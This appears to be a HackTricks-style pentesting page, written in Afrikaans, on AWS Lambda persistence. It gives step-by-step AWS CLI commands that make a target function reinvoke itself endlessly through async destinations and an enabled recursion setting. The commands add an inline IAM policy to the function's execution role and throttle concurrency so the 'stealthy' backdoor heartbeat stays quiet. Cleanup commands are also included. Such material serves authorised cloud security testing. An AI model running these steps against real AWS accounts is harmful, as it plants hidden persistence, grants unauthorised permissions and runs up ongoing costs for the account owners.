# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow

{{#include ../../../../banners/hacktricks-training.md}}

Misbruik Lambda asynchronous destinations saam met die Recursion-konfigurasie om 'n funksie aanhoudend self weer aan te roep sonder 'n eksterne skeduleerder (geen EventBridge, cron, ens. nie). Standaard beëindig Lambda rekursiewe lusse, maar deur die recursion config op Allow te stel word dit weer geaktiveer. Destinations lewer aan die dienskant vir async invokes, so 'n enkele seed invoke skep 'n stealthy, code-free heartbeat/backdoor channel. Opsioneel: throttle met reserved concurrency om geraas laag te hou.

Notas
- Lambda laat nie toe om die funksie direk as sy eie destination te konfigureer nie. Gebruik 'n function alias as die destination en staan die execution role toe om daardie alias te invoke.
- Minimum permissions: vermoë om die teikenfunksie se event invoke config en recursion config te lees/op te dateer, 'n version te publish en 'n alias te manage, en die function se execution role policy op te dateer om lambda:InvokeFunction op die alias toe te laat.

## Vereistes
- Region: us-east-1
- Veranderlikes:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>

## Stappe

1) Kry funksie-ARN en die huidige recursion instelling
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) Publiseer 'n weergawe en skep/opdateer 'n alias (gebruik as self-bestemming)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Laat die funksie-uitvoeringsrol toe om die alias aan te roep (vereis deur Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) Stel die async-bestemming na die alias (self via alias) in en skakel retries af
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION

# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) Laat rekursiewe lusse toe
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Inisieer 'n enkele asinkrone invoke
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) Let op deurlopende aanroepe (voorbeelde)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) Opsionele onopvallende beperking
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## Opruiming
Breek die lus en verwyder persistence.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Impak
- Enkele async invoke veroorsaak dat Lambda homself voortdurend her-invoke sonder 'n eksterne skeduleerder, wat stealthy persistence/heartbeat moontlik maak. Reserved concurrency kan die geraas beperk tot 'n enkele warm execution.
{{#include ../../../../banners/hacktricks-training.md}}
